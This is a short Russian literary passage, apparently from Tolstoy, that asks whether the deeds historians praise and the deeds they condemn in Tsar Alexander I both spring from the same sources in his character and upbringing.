Те самые поступки, за которые историки одобряют Александра I, – как то: либеральные начинания царствования, борьба с Наполеоном, твердость, выказанная им в 12 м году, и поход 13 го года, не вытекают ли из одних и тех же источников – условий крови, воспитания, жизни, сделавших личность Александра тем, чем она была, – из которых вытекают и те поступки, за которые историки порицают его, как то: Священный Союз, восстановление Польши, реакция 20 х годов?